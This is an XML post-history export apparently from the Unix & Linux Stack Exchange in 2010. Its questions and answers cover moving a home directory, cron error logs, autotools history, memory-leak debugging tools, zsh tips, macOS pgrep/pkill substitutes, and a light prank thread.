  <row Id="382" PostHistoryTypeId="6" PostId="166" RevisionGUID="9dba4683-6ed4-497c-a86c-e3e401ab29c1" CreationDate="2010-08-11T02:07:21.120" UserId="138" Comment="edited tags" Text="éactivedirectoryàéldapàéauthenticationàépamà" />
  <row Id="383" PostHistoryTypeId="2" PostId="205" RevisionGUID="6d1d0588-d69f-49de-b9ce-dff28c08973f" CreationDate="2010-08-11T02:08:41.053" UserId="45" Text="This is kinda a non-answer however there isn't a real answer here. Unfortunately this thing is highly application dependent.  Your app could hit on something that Mono happens to do really well or you might be heavily using something that is implemented poorly or has some bugs. Its not really a case of Mono being X times slower/faster than IIS.&#xD;&#xA;&#xD;&#xA;My suggestion is to take your app, deploy it on two different EC2 instances (one windows and one Mono) and do your testing there.  If you find major issues on the Mono instance, please report them and we'll try to get things improved.&#xD;&#xA;&#xD;&#xA;All that being said, I can tell you from personal experience that Mono aspx does perform really well.  " />
  <row Id="384" PostHistoryTypeId="2" PostId="206" RevisionGUID="6e09b26b-772e-4888-b08b-987c67d229e9" CreationDate="2010-08-11T02:17:36.010" UserId="50" Text="I would like to install another distribution but keep my home directory. Is there a way to move the home directory to a separate partition? I don't have an external hard drive available to back up my data. I would like to set up my partitions as suggested [here](http://unix.stackexchange.com/questions/7/whats-the-best-way-to-partition-your-drive)." />
  <row Id="385" PostHistoryTypeId="1" PostId="206" RevisionGUID="6e09b26b-772e-4888-b08b-987c67d229e9" CreationDate="2010-08-11T02:17:36.010" UserId="50" Text="How can I move the home directory to a separate partition?" />
  <row Id="386" PostHistoryTypeId="3" PostId="206" RevisionGUID="6e09b26b-772e-4888-b08b-987c67d229e9" CreationDate="2010-08-11T02:17:36.010" UserId="50" Text="élinuxàépartitionà" />
  <row Id="387" PostHistoryTypeId="2" PostId="207" RevisionGUID="a589ac08-e408-4f86-84a8-547435a20bd6" CreationDate="2010-08-11T02:19:57.813" UserId="122" Text="If I setup cron jobs incorrectly they appear to silently fail. Where should I look for an error log to understand what went wrong?" />
  <row Id="388" PostHistoryTypeId="1" PostId="207" RevisionGUID="a589ac08-e408-4f86-84a8-547435a20bd6" CreationDate="2010-08-11T02:19:57.813" UserId="122" Text="Where are cron errors logged?" />
  <row Id="389" PostHistoryTypeId="3" PostId="207" RevisionGUID="a589ac08-e408-4f86-84a8-547435a20bd6" CreationDate="2010-08-11T02:19:57.813" UserId="122" Text="écronàéschedulingàélogsà" />
  <row Id="390" PostHistoryTypeId="2" PostId="208" RevisionGUID="fe706431-e3d5-4b15-81cc-ffe2c99aecec" CreationDate="2010-08-11T02:22:20.273" UserId="210" Text="`diff` the output of two commands without creating a temporary file manually (bash):&#xD;&#xA;&#xD;&#xA;    diff &lt;(ls dir1) &lt;(ls dir2)" />
  <row Id="391" PostHistoryTypeId="16" PostId="208" RevisionGUID="fe706431-e3d5-4b15-81cc-ffe2c99aecec" CreationDate="2010-08-11T02:22:20.273" UserId="-1" />
  <row Id="392" PostHistoryTypeId="2" PostId="209" RevisionGUID="2aa8222c-01f4-498d-878f-9e60de0a204e" CreationDate="2010-08-11T02:27:03.727" UserId="22" Text="Assuming you have a separate partition already (and if you don't, you probably want to use &lt;a href=&quot;http://gparted.sourceforge.net/&quot;&gt;gparted&lt;/a&gt; or something similar, to make one), you simply do the following (preferably as the root user): &#xD;&#xA;&#xD;&#xA;     cp -R /home/whatever /path/to/destination&#xD;&#xA;     mv /home/whatever /home/whatever.orig&#xD;&#xA;     ln -s /path/to/destionation /home/whatever &#xD;&#xA;&#xD;&#xA;And then assuming that everything works the way it should (log in as the user and test) &#xD;&#xA;&#xD;&#xA;     rm -rf /home/whatever.orig &#xD;&#xA;&#xD;&#xA;This copies the entire directory (and all the contents) to the destination mountpoint, renames the original home directory (in case something is screwed up in the process, then we can recover), creates a symbolic link from the new location to the original home directory (which everything (like /etc/passwd) is still pointing to), then assuming it worked, removes the backup copy we made, leaving the copy we put at the destination filesystem. " />
  <row Id="393" PostHistoryTypeId="2" PostId="210" RevisionGUID="e435d5a8-a1b3-49e1-bea8-d7350d5ad627" CreationDate="2010-08-11T02:27:11.837" UserId="228" Text="Autoconf and Automake were set out to solve an evolutionary problem of Unix.&#xD;&#xA;&#xD;&#xA;As Unix evolved into different directions, developers that wanted portable code tended to write code like this:&#xD;&#xA;&#xD;&#xA;    #if RUNNING_ON_BSD&#xD;&#xA;    Set things up in the BSD way&#xD;&#xA;    #&#xD;&#xA;    Set things up in the SystemV way&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;As Unix was forked into different implementations (BSD, SystemV, many vendor forks, and later Linux and other Unix-like systems) it became important for developers that wanted to write portable code to write code that depended not on a particular brand of operating system, but on features exposed by the operating system.   This is important because a Unix version would introduce a new feature, for example the &quot;send&quot; system call, and later other operating systems would adopt it.    Instead of having a spaghetti of code that checked for brands and versions, developers started probing by features, so code became:&#xD;&#xA;&#xD;&#xA;    #if HAVE_SEND&#xD;&#xA;    // Use Send here&#xD;&#xA;    #else&#xD;&#xA;    // Use something else&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;Most README files to compile source code back in the 90's pointed developers to edit a config.h file and comment out that proper features available on the system, or would ship standard config.h files for each operating system configuration that had been tested.&#xD;&#xA;&#xD;&#xA;This process was both cumbersome and error prone and this is how Autoconf came to be.   You should think of Autoconf as a language made up of shell commands with special macros that was able to replace the human editing process of the config.h with a tool that probed the operating system for the functionality.&#xD;&#xA;&#xD;&#xA;You would typically write your probing code in the file &lt;tt&gt;configure.ac&lt;/tt&gt; and then run the &lt;tt&gt;autoconf&lt;/tt&gt; command which would compile this file to the executable &lt;tt&gt;configure&lt;/tt&gt; command that you have seen used.&#xD;&#xA;&#xD;&#xA;So when you run &quot;./configure &amp;&amp; make install&quot; you were probing for the features available on your system and then building the executable with the configuration that was detected.&#xD;&#xA;&#xD;&#xA;When open source projects started using source code control systems, it made sense to check in the &lt;tt&gt;configure.ac&lt;/tt&gt; file, but not the result of the compilation (&lt;tt&gt;configure&lt;/tt&gt;).   The autogen.sh is merely a small script that invokes the &lt;tt&gt;autoconf&lt;/tt&gt; compiler with the right command arguments for you.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;Automake grew also out of existing practices in the community.    The GNU project standardized a regular set of targets for Makefiles like &quot;make all&quot; would build the project; &quot;make clean&quot; would remove all compiled files from the project; &quot;make install&quot; would install the software and thinks like &quot;make dist&quot;/&quot;make distcheck&quot; would prepare the source for distribution and verify that the result was a complete source code package and so on.&#xD;&#xA;&#xD;&#xA;Building compliant makefiles became burdensome because there was a lot of boilerplate that was repeated over and over.   So Automake was a new compiler that integrated with autoconf and processed &quot;source&quot; Makefile's (named Makefile.am) into Makefiles that could then be fed to Autoconf.&#xD;&#xA;&#xD;&#xA;The automake/autoconf toolchain actually uses a number of other helper tools and they are augmented by other components for other specific tasks.   As the complexity of running these commands in order grew, the need for a ready-to-run script was born, and this is where autogen.sh came from.&#xD;&#xA;&#xD;&#xA;As far as I know of, Gnome was project that introduced the use of this helper script autogen.sh" />
  <row Id="394" PostHistoryTypeId="2" PostId="211" RevisionGUID="e64f7e25-63d4-40dd-a4be-656f82405ede" CreationDate="2010-08-11T02:28:33.037" UserId="230" Text="Perhaps I'm confused, but what do you mean by &quot;sftp like interface&quot;?  Just get/put files using scp from the command line.&#xD;&#xA;&#xD;&#xA;To put file foo, from the command line on your linux host assuming 'username' exists as a user on the router:&#xD;&#xA;&#xD;&#xA;&lt;code&gt;$scp foo username@router:~&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;This will copy file foo to the home directory of username.  &#xD;&#xA;&#xD;&#xA;To get a file from the router, assuming the file is in the home directory of user 'username':&#xD;&#xA;&#xD;&#xA;&lt;code&gt;$scp username@router:~/foo .&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;This will copy file foo from the router to whatever directory you're in when you execute the command.&#xD;&#xA;&#xD;&#xA;I hope I understood your question correctly.&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="395" PostHistoryTypeId="2" PostId="212" RevisionGUID="53198127-0edb-4181-999d-a3b143c158bf" CreationDate="2010-08-11T02:28:57.183" UserId="138" Text="OS X is the only remaining operating system &lt;a href=&quot;http://en.wikipedia.org/wiki/Mach_%28kernel%29#Operating_systems_and_kernels_based_on_Mach&quot;&gt;based on the Mach microkernel&lt;/a&gt; which is also still commercially relevant.  There are a few ongoing research projects and obsolescent OSes that no doubt are still being used in production settings on old machines, but nothing you can go out and buy on a new machine today.&#xD;&#xA;&#xD;&#xA;OS X has the usual assortment of kernel feature incompatibilities that any *ix has.  The biggest one I most recently had to work around is a lack of &lt;a href=&quot;http://en.wikipedia.org/wiki/System_V#SVR1&quot;&gt;System V message queues&lt;/a&gt;.  (`msgget(2)` and friends.)  We replaced our message queue code -- which was written for a &quot;real&quot; System V variant and later ported to Linux -- with TCP/IP.  For our application, the differences between these two IPC methods aren't huge, but there are real differences that used to matter to us back when we made the design choice, but no longer matter due to other changes in our system." />
  <row Id="396" PostHistoryTypeId="2" PostId="213" RevisionGUID="68008d36-f43c-4100-a94a-d9dcd6961caf" CreationDate="2010-08-11T02:33:53.007" UserId="22" Text="Whoa whoa whoa&#xD;&#xA;&#xD;&#xA;First, you have an RHEL-based source (Scientific Linux). You can't just go from there to a Fedora based system without giving up something (namely reliability). &#xD;&#xA;&#xD;&#xA;First question: Why do you want to go with Fedora? &#xD;&#xA;&#xD;&#xA;Second question: If this is for a server, ask yourself the first question again...are you the answer to that question isn't &quot;well, maybe I can use Scientific Linux or CentOS&quot;? &#xD;&#xA;&#xD;&#xA;Assuming that this machine isn't going to be used for anything important, you can get a list of the installed programs by running 'yum list installed' and making sure the same packages are installed (although you probably won't get the same versions. Fedora is much more cavalier about things like that). " />
  <row Id="397" PostHistoryTypeId="2" PostId="214" RevisionGUID="4f687bcf-39b1-402f-a127-c1cee40488dd" CreationDate="2010-08-11T02:36:16.167" UserId="228" Text="Here are some suggestions on how to understand the &quot;spirit&quot; of Unix, in addition to the fine recommendations that have been done in the previous posts:&#xD;&#xA;&#xD;&#xA;* &quot;The Unix Programming Environment&quot; by Kernighan and Pike: an old book, but it shows the essence of the Unix environment.   It will also help you become an effective shell user.&#xD;&#xA;&#xD;&#xA;* &quot;Unix for the Impatient&quot; is a useful resource to learn to navigate the Unix environment.   One of my favorites.&#xD;&#xA;&#xD;&#xA;If you want to become a power user, there is nothing better than O'Reilly's &quot;Unix Power Tools&quot; which consists of the collective tips and tricks from Unix professionals.&#xD;&#xA;&#xD;&#xA;Another book that I have not seen mentioned that is a fun light and education reading is the &quot;Operating Systems, Design and Implementation&quot;, the book from Andy Tanenbaum that included the source code for a complete Unix operating system in 12k lines of code." />
  <row Id="398" PostHistoryTypeId="5" PostId="171" RevisionGUID="9d94a27e-9edf-41a5-aa0e-2af77d9fb901" CreationDate="2010-08-11T02:36:35.090" UserId="183" Comment="added gdb and valgrind" Text="* Emacs/Vim/Eclipse - Personally I am an Emacs user.  If you find the control sequences tire your pinky, just Viper-mode it up.  Emacs is so well integrated into unix, it makes it very easy to control everything all from one place.  Vim also does a good job here, but I find Elisp to be a much more powerful extension language than Vim Script.  One could talk for hours about all of the ways to set up Emacs for C development.  [Flymake Mode](http://flymake.sourceforge.net/) has been mentioned, and is a super start to things.  I am not familiar with Eclipse, I do not find it leaves enough room on my screen for code, nor do I like how bloated it is(Vim users will say the same thing about Emacs).  I am also unfairly biased against anything written in Java, for purely aesthetic reasons.&#xD;&#xA;&#xD;&#xA;* Ctags - Tags your C(or many other language) functions so that Vim or Emacs or whatever can do a little bit of hyper-text linking in your files.  Say you're wandering around and you see a function and you're scratching your head saying &quot;What does that one do again, the naming's a bit vague.&quot; plink-plank-plunk, you can zap straight to it's definition.&#xD;&#xA;&#xD;&#xA;* Cmake/Gnu-Autotools - Make is great, but at some point you need to abstract things a bit so that your project can build itself on all sorts of systems you have no way of testing for.  If you only need people to build your code on a *nix, Autotools is great, but realy you should familiarize yourself with Cmake anyway.  The Cmake team build code in every conceivable configuration possible and make sure that you don't have to go through the headache.  If you want your project to be easily picked up buy others, one of these tools is crucial.&#xD;&#xA;&#xD;&#xA;* Git/Mercurial/Subversion/... - You could spend months researching version control software, but you should probably just go with Git.  It's solid, it's distributed, the @$!#%&amp; Linux Kernel is tracked with it.  If it's good enough for Linus, it's got to be good enough for you.  I also hear good things about Mercurial, apparently G**gle uses them, so it's probably not bad.  Some people appear to like Subversion and CVS and whatnot.  I don't like them because they are monolithic, which to me is very inconvenient and limiting.  &#xD;&#xA;&#xD;&#xA;* Stumpwm/wmii/XMonad/... - At some point you're going to realize that anything you can do to keep your work flowing is going to greatly improve your output.  One of the best ways to keep your brain from breaking it's context is to switch to tiling, KEYBOARD DRIVEN window managers.  I am a personal fan of StumpWM, the Emacs of window managers.  Fully implemented in an on-the-fly customizable Common Lisp process, anything you find yourself doing repetitiously can be banished away into functions and bound to commands.  Great stuff.  I don't know much about any of the others, but maybe further elaboration is better left to another thread.  USE KEYBOARD AS MUCH AS POSSIBLE.&#xD;&#xA;&#xD;&#xA;* GDB - I'm not familiar with other debuggers, but this appears to be the de-facto standard.&#xD;&#xA;&#xD;&#xA;* Valgrind - I don't know of anything else that does what this does so well. Valgrind is crucial for all those pesky profiling/memory leak hunts you want to go on.  You just can't write code with malloc/calloc without Valgrind.&#xD;&#xA;&#xD;&#xA;I would like to put hyper links all over this answer to make it more handy, but allas I do not have enough merit yet here.  If someone else sees this and doesn't find it to much trouble, could you be a dear and do it for me?" />
  <row Id="399" PostHistoryTypeId="5" PostId="185" RevisionGUID="e488456c-f254-4065-b090-a1081cd40ad2" CreationDate="2010-08-11T02:37:39.097" UserId="207" Comment="edited body; edited body; deleted 2 characters in body" Text="I run a software raid array for my backups, but my data has outgrown capacity. &#xD;&#xA;&#xD;&#xA;considering I have a full 2.4TB array with 5*600GB drives and also have 5*2TB drives I would like to swap in, what would be the nicest way to upgrade the array. &#xD;&#xA;&#xD;&#xA;I thought of faulting 1 drive at a time and swapping in a new drive and rebuilding, but I am not sure if at the end of the process I will be able to resize the array&#xD;&#xA;&#xD;&#xA;Thoughts? " />
  <row Id="400" PostHistoryTypeId="2" PostId="215" RevisionGUID="986da96e-de0a-4737-bcfb-a2b68fa608c1" CreationDate="2010-08-11T02:50:01.207" UserId="138" Text="You should get email from `crond` when the job either fails to run or when the job returns a nonzero exit code.  Try typing:&#xD;&#xA;&#xD;&#xA;    $ mailx&#xD;&#xA;&#xD;&#xA;at the command prompt.&#xD;&#xA;&#xD;&#xA;`mailx(1)` is the basic mail reading program on most every Unixlike system.  It is very primitive by modern standards, but you can pretty much count on it to always be available.  Other, better mail agents may be available, but there are enough of them that you never know which one is installed on some random machine you happen to be using.&#xD;&#xA;&#xD;&#xA;Note that unless you have configured your system as an Internet email server, this mail subsystem is used only within the machine.  You can send email to and receive from other users on the machine, but you may not be able to send email out to the world, and email from the outer world certainly won't be able to come to your machine." />
  <row Id="401" PostHistoryTypeId="2" PostId="216" RevisionGUID="5ea567f8-620a-4e0e-8730-c2f8eb9744ed" CreationDate="2010-08-11T02:52:26.050" UserId="228" Text="The default cron configuration will send you a mail with the output of your program.   If this fails, you could try wrapping your failing program in a shell script that ensures that the program does not fail, and you could further log the output.&#xD;&#xA;&#xD;&#xA;This is a configurable setting on some cron implementations." />
  <row Id="402" PostHistoryTypeId="2" PostId="217" RevisionGUID="9fa4f44b-18ad-4477-a528-863d40046d86" CreationDate="2010-08-11T03:07:05.813" UserId="57" Text="What strategy you use while tracking a memory related issue?  &#xD;&#xA;What tools you use(open source as well as proprietary) to identify memory leaks ,memory corruption etc ?  &#xD;&#xA;What if only gdb/dbx available on that server how would you track memory leaks? personally ,for me fixing memory leaks with only debugger is very hard.&#xD;&#xA;" />
  <row Id="403" PostHistoryTypeId="1" PostId="217" RevisionGUID="9fa4f44b-18ad-4477-a528-863d40046d86" CreationDate="2010-08-11T03:07:05.813" UserId="57" Text="how you track/fix memory related issue in a large C/C++ code on *nix systems" />
  <row Id="404" PostHistoryTypeId="3" PostId="217" RevisionGUID="9fa4f44b-18ad-4477-a528-863d40046d86" CreationDate="2010-08-11T03:07:05.813" UserId="57" Text="édebuggingàémemoryöleaksà" />
  <row Id="405" PostHistoryTypeId="5" PostId="185" RevisionGUID="ca1c4a94-38fe-4656-afb7-32033909fa4f" CreationDate="2010-08-11T03:07:41.053" UserId="207" Comment="added 2 characters in body" Text="I run a software raid array for my backups, but my data has outgrown capacity. &#xD;&#xA;&#xD;&#xA;considering I have a full 2.4TB array with 5*600GB drives and also have 5*2TB drives I would like to swap in.&#xD;&#xA;&#xD;&#xA;What would be the nicest way to upgrade the array?&#xD;&#xA;&#xD;&#xA;I thought of faulting 1 drive at a time and swapping in a new drive and rebuilding, but I am not sure if at the end of the process I will be able to resize the array&#xD;&#xA;&#xD;&#xA;Thoughts? " />
  <row Id="406" PostHistoryTypeId="2" PostId="218" RevisionGUID="891e0599-18da-455a-98f8-4e0ec606a168" CreationDate="2010-08-11T03:08:37.043" UserId="45" Text="valgrind is amazingly helpful." />
  <row Id="407" PostHistoryTypeId="2" PostId="219" RevisionGUID="e4c4b8c2-385b-42f2-8742-73f9059037b1" CreationDate="2010-08-11T03:26:34.393" UserId="73" Text="If you can change the source code, [Dmalloc](http://dmalloc.com/) is great; it will list which pointers were unfreed and (for code built with debugging symbols) exactly which line they were allocated on.&#xD;&#xA;&#xD;&#xA;If you can't, [Valgrind](http://valgrind.org/) is pretty much the standard for that sort of thing. I generally find Valgrind somewhat harder to use, but it has way more features and doesn't involve adding dmalloc calls into your code" />
  <row Id="408" PostHistoryTypeId="2" PostId="220" RevisionGUID="9a972bc3-e9ff-443d-aac6-cbe22f22f0d2" CreationDate="2010-08-11T03:54:15.357" UserId="78" Text="You can try [Motor IDE][1]. It's curses based so you should feel like at home (tm) .) It's also a bit sad because it's not being maintained for 5 years now so somethings might be broken. Although still - I believe it's worth a try.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://konst.org.ua/motor/" />
  <row Id="409" PostHistoryTypeId="16" PostId="220" RevisionGUID="9a972bc3-e9ff-443d-aac6-cbe22f22f0d2" CreationDate="2010-08-11T03:54:15.357" UserId="-1" />
  <row Id="410" PostHistoryTypeId="2" PostId="221" RevisionGUID="d8c00e8a-12c3-4ed1-8143-fe2cde2ae3f4" CreationDate="2010-08-11T04:25:36.097" UserId="73" Text="A ZSH-specific feature is suffix aliases, set by giving `alias` the `-s` flag:&#xD;&#xA;&#xD;&#xA;    alias -s ext=program&#xD;&#xA;&#xD;&#xA;If a given extension has a suffix alias, you can execute a file with that extention directly, and ZSH will launch the given program and pass the filename as an argument. So if the above alias is in effect, these lines are equivalent:&#xD;&#xA;&#xD;&#xA;    /path/to/foo.ext&#xD;&#xA;    program /path/to/foo.ext&#xD;&#xA;" />
  <row Id="411" PostHistoryTypeId="16" PostId="221" RevisionGUID="d8c00e8a-12c3-4ed1-8143-fe2cde2ae3f4" CreationDate="2010-08-11T04:25:36.097" UserId="-1" />
  <row Id="412" PostHistoryTypeId="2" PostId="222" RevisionGUID="f9374214-d00b-4dc9-8b04-a0926cfdc211" CreationDate="2010-08-11T04:27:20.463" UserId="73" Text="One of my all-time favorite ZSH features is named directories. You can export a variable with a given name, with a value that points to a certain path:&#xD;&#xA;&#xD;&#xA;    export foo=/usr/bin&#xD;&#xA;&#xD;&#xA;Now you can use `~foo` in a command to refer to `/usr/bin`:&#xD;&#xA;&#xD;&#xA;    cd ~foo&#xD;&#xA;    ~foo/ls&#xD;&#xA;    cat ~foo/filename" />
  <row Id="413" PostHistoryTypeId="16" PostId="222" RevisionGUID="f9374214-d00b-4dc9-8b04-a0926cfdc211" CreationDate="2010-08-11T04:27:20.463" UserId="-1" />
  <row Id="414" PostHistoryTypeId="2" PostId="223" RevisionGUID="c81f1eb0-b69a-4e78-bc5c-55c9a17ea277" CreationDate="2010-08-11T04:41:44.257" UserId="57" Text="you can try -s option to run a text file containing FTP commands. In that command file you can easily lcd to different dirs.  &#xD;&#xA;Please note this option is not available on all the Unix servers.  &#xD;&#xA;Can elaborate on your requirement like which OS Win Or *nix etc ??.&#xD;&#xA;" />
  <row Id="415" PostHistoryTypeId="2" PostId="224" RevisionGUID="54cfc35c-6615-4c65-827d-c1101a099df9" CreationDate="2010-08-11T04:46:43.627" UserId="57" Text="Cron logs basic info to /var/log/messages, but mails any program output &#xD;&#xA;to the invoking user. " />
  <row Id="416" PostHistoryTypeId="2" PostId="225" RevisionGUID="f8f2f3bb-bd94-4916-b13f-6ecadc9c216a" CreationDate="2010-08-11T04:50:20.440" UserId="78" Text="Are there alternatives to `pgrep` and `pkill` commands on Mac OS X or should I just create aliases for them using other commands available for me?" />
  <row Id="417" PostHistoryTypeId="1" PostId="225" RevisionGUID="f8f2f3bb-bd94-4916-b13f-6ecadc9c216a" CreationDate="2010-08-11T04:50:20.440" UserId="78" Text="pgrep and pkill alternatives on mac os x?" />
  <row Id="418" PostHistoryTypeId="3" PostId="225" RevisionGUID="f8f2f3bb-bd94-4916-b13f-6ecadc9c216a" CreationDate="2010-08-11T04:50:20.440" UserId="78" Text="éosxàégrepàékillà" />
  <row Id="419" PostHistoryTypeId="2" PostId="226" RevisionGUID="c3ba0964-614d-42c8-89ec-846f15e821df" CreationDate="2010-08-11T04:59:47.290" UserId="57" Text="following should help for pgrep&#xD;&#xA;&#xD;&#xA;[poor-mans-pgrep-on-mac-os-x][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://soziotechnischemassnahmen.blogspot.com/2010/03/poor-mans-pgrep-on-mac-os-x.html" />
  <row Id="420" PostHistoryTypeId="2" PostId="227" RevisionGUID="3b25685c-e9d8-4ac9-92b4-e1a98b783bf8" CreationDate="2010-08-11T05:04:25.050" UserId="243" Text="My favorite is &#xD;&#xA;&#xD;&#xA;    man ascii&#xD;&#xA;&#xD;&#xA;Simple and so very useful.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Have a look at this website [commandlinefu.com][2].&#xD;&#xA;&#xD;&#xA;You can also have a look at these four articles by Peteris Krumins on his blog&#xD;&#xA;&#xD;&#xA;  - [Top Ten One-Liners from CommandLineFu Explained][3]&#xD;&#xA;  - [The Next Ten One-Liners from CommandLineFu Explained][4]&#xD;&#xA;  - [Another Ten One-Liners from CommandLineFu Explained][5]&#xD;&#xA;  - [Yet Another Ten One-Liners from CommandLineFu Explained][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/fc1GI.png&#xD;&#xA;  [2]: http://www.commandlinefu.com/commands/browse&#xD;&#xA;  [3]: http://www.catonmat.net/blog/top-ten-one-liners-from-commandlinefu-explained/&#xD;&#xA;  [4]: http://www.catonmat.net/blog/the-next-ten-one-liners-from-commandlinefu-explained/&#xD;&#xA;  [5]: http://www.catonmat.net/blog/another-ten-one-liners-from-commandlinefu-explained/&#xD;&#xA;  [6]: http://www.catonmat.net/blog/yet-another-ten-one-liners-from-commandlinefu-explained" />
  <row Id="421" PostHistoryTypeId="16" PostId="227" RevisionGUID="3b25685c-e9d8-4ac9-92b4-e1a98b783bf8" CreationDate="2010-08-11T05:04:25.050" UserId="-1" />
  <row Id="422" PostHistoryTypeId="2" PostId="228" RevisionGUID="c32972c0-11ea-4fdc-98f6-d2d28d6f810f" CreationDate="2010-08-11T05:12:14.163" UserId="244" Text="Assuming that you are using some relatively recent version of Bash in the Mac, you could write your own version of `pgrep` as function and then add that to your `.bashrc` file:&#xD;&#xA;&#xD;&#xA;    function pgrep() {&#xD;&#xA;        ps aux | grep $1 | grep -v grep&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;as for `pkill` you can use the following:&#xD;&#xA;&#xD;&#xA;    function pkill() {&#xD;&#xA;        local pid&#xD;&#xA;        pid=$(ps ax | grep $1 | grep -v grep | awk '{ print $1 }')&#xD;&#xA;        kill -9 $pid&#xD;&#xA;        echo -n &quot;Killed $1 (process $pid)&quot;&#xD;&#xA;    }" />
  <row Id="423" PostHistoryTypeId="2" PostId="229" RevisionGUID="4bad7ae4-d2ef-4e7f-b6a9-108f9c4df2e9" CreationDate="2010-08-11T05:21:14.447" UserId="146" Text="For Solaris, there's several tools listed in the answers to [this StackOverflow question][1] (they include leak checking with other forms of bad memory access).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1881343/locate-bad-memory-access-on-solaris/ &quot;Locate bad memory access on Solaris&quot;" />
  <row Id="424" PostHistoryTypeId="2" PostId="230" RevisionGUID="21cce02a-9f5f-485e-bbe9-2ca06c3a90e3" CreationDate="2010-08-11T05:22:03.117" UserId="244" Text="I agree with all the others and I have to say that [Stevens' APUE][1] (I have the second edition) is a classic. I would also like to add that Eric Raymond's [The Art of UNIX Programming][2] ranks right up there with Stevens on my list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Programming-Environment-Addison-Wesley-Professional-Computing/dp/0321525949/ref=pd_sim_b_10&#xD;&#xA;  [2]: http://www.amazon.com/Art-UNIX-Programming-Eric-Raymond/dp/0131429019/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1281504058&amp;sr=1-1" />
  <row Id="425" PostHistoryTypeId="2" PostId="231" RevisionGUID="ad4cb857-a7a0-4555-ac4f-19ff21b8dd13" CreationDate="2010-08-11T05:34:48.667" UserId="111" Text="I run the System Monitor applet in a dock on the right side of my screen.  Any time that the system feels sluggish, I take a look at the meters.  If anything is running at above 10% capacity, that is an indication that a process is getting out of hand.&#xD;&#xA;&#xD;&#xA;If you click on the system monitor, you can dig in to the processes that are consuming resources on your system.&#xD;&#xA;&#xD;&#xA;[http://www.colliertech.org/~cjac/tmp/screenies/system_monitor.png][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.colliertech.org/~cjac/tmp/screenies/system_monitor.png" />
  <row Id="426" PostHistoryTypeId="2" PostId="232" RevisionGUID="77eee404-a3cc-48ad-8f45-4f2e9fee7383" CreationDate="2010-08-11T05:36:46.120" UserId="78" Text="Which harmless pranks do you know that would be great to play on your collegues?" />
  <row Id="427" PostHistoryTypeId="1" PostId="232" RevisionGUID="77eee404-a3cc-48ad-8f45-4f2e9fee7383" CreationDate="2010-08-11T05:36:46.120" UserId="78" Text="Unix &amp; Linux pranks" />
  <row Id="428" PostHistoryTypeId="3" PostId="232" RevisionGUID="77eee404-a3cc-48ad-8f45-4f2e9fee7383" CreationDate="2010-08-11T05:36:46.120" UserId="78" Text="élinuxàéunixàéhumorà" />
  <row Id="429" PostHistoryTypeId="16" PostId="232" RevisionGUID="77eee404-a3cc-48ad-8f45-4f2e9fee7383" CreationDate="2010-08-11T05:36:46.120" UserId="78" />
  <row Id="430" PostHistoryTypeId="2" PostId="233" RevisionGUID="26d6afb5-e852-480c-b8eb-c48e27187c57" CreationDate="2010-08-11T05:40:05.350" UserId="188" Text="You can always explicitly send the job output to a log file:&#xD;&#xA;&#xD;&#xA;    0 8 * * * /usr/local/bin/myjob &gt; /var/log/myjob.log 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;Keep in mind that this will supercede the mail behaviour that has been mentioned before, because crond iself won't receive any output from the job. If you want to keep that behaviour you should look into tee(1).&#xD;&#xA;" />
  <row Id="431" PostHistoryTypeId="2" PostId="234" RevisionGUID="e63c0f62-8c3d-4cfe-9cd0-55b45d596b05" CreationDate="2010-08-11T05:51:02.197" UserId="243" Text="I do not know if this qualifies as a prank, but you can [watch StarWars on a shell][1] !&#xD;&#xA;&#xD;&#xA;    telnet towel.blinkenlights.nl&#xD;&#xA;&#xD;&#xA;[About it][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.commandlinefu.com/commands/view/1713/watch-star-wars-via-telnet&#xD;&#xA;  [2]: http://blinkenlights.nl/services.html#bofh" />
  <row Id="432" PostHistoryTypeId="16" PostId="234" RevisionGUID="e63c0f62-8c3d-4cfe-9cd0-55b45d596b05" CreationDate="2010-08-11T05:51:02.197" UserId="-1" />
  <row Id="435" PostHistoryTypeId="6" PostId="11" RevisionGUID="7ad5cbeb-587c-46a9-8c64-79dd71566225" CreationDate="2010-08-11T06:07:15.050" UserId="250" Comment="edited tags" Text="élinuxàéperformanceàéswappingàédesktopà" />
  <row Id="436" PostHistoryTypeId="2" PostId="236" RevisionGUID="f9fa1485-7a88-492b-a4fa-a081da798aa5" CreationDate="2010-08-11T06:13:32.603" UserId="57" Text="set DISPLAY variable to their PC name/IP.  &#xD;&#xA;open debug (wdb) windows to someones PC and they are confused whats happing.&#xD;&#xA;Of course their PC should have xwin running and xhost +.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="437" PostHistoryTypeId="16" PostId="236" RevisionGUID="f9fa1485-7a88-492b-a4fa-a081da798aa5" CreationDate="2010-08-11T06:13:32.603" UserId="-1" />
  <row Id="438" PostHistoryTypeId="2" PostId="237" RevisionGUID="108fc952-53f8-47b4-82dd-b4f20e40f2e2" CreationDate="2010-08-11T06:17:07.727" UserId="250" Text="Hello, I have been doing Objective-C for some time, and there is an analyzer that deal with C level memory management and stuff like that. [Clang Static Analyzer][1] is so good that Apple decided to bundle it with their xCode IDE. I'm not sure if this is good for your question, but if you are doing C then it's worth a try.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://clang-analyzer.llvm.org/" />
